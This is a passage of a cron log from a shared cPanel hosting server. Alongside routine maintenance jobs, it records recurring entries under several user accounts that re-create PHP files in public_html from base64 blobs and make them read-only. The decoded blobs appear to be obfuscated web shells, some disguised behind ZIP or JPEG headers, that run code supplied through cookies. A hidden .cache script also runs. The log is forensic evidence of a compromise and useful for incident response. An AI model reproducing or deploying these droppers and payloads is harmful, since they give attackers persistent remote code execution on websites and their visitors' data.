CAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:49:02 medusa CROND[2077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:49:02 medusa CROND[2078]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:49:02 medusa CROND[2079]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:49:02 medusa CROND[2091]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:50:01 medusa CROND[3937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:50:01 medusa CROND[3939]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:50:01 medusa CROND[3940]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:50:02 medusa CROND[3965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[3968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 13:50:02 medusa CROND[3969]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:50:02 medusa CROND[3970]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 13:50:02 medusa CROND[3975]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:50:02 medusa CROND[3976]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:50:02 medusa CROND[3977]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:50:02 medusa CROND[3978]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:50:02 medusa CROND[3979]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:50:02 medusa CROND[3981]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[3982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[3986]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:50:02 medusa CROND[3988]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:50:02 medusa CROND[3989]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:50:02 medusa CROND[3987]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:50:02 medusa CROND[3990]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[4001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 13:50:02 medusa CROND[4002]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:50:02 medusa CROND[4004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[4006]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[4007]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:50:02 medusa CROND[4008]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:50:02 medusa CROND[4003]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 13:50:02 medusa CROND[4009]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[4010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:50:02 medusa CROND[4012]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:50:02 medusa CROND[4005]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 13:51:01 medusa CROND[6342]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:51:01 medusa CROND[6343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:51:01 medusa CROND[6344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:51:01 medusa CROND[6345]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:51:01 medusa CROND[6346]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:51:01 medusa CROND[6347]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:51:01 medusa CROND[6348]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:51:01 medusa CROND[6349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:51:01 medusa CROND[6350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:51:01 medusa CROND[6358]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:51:01 medusa CROND[6360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:51:01 medusa CROND[6362]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50K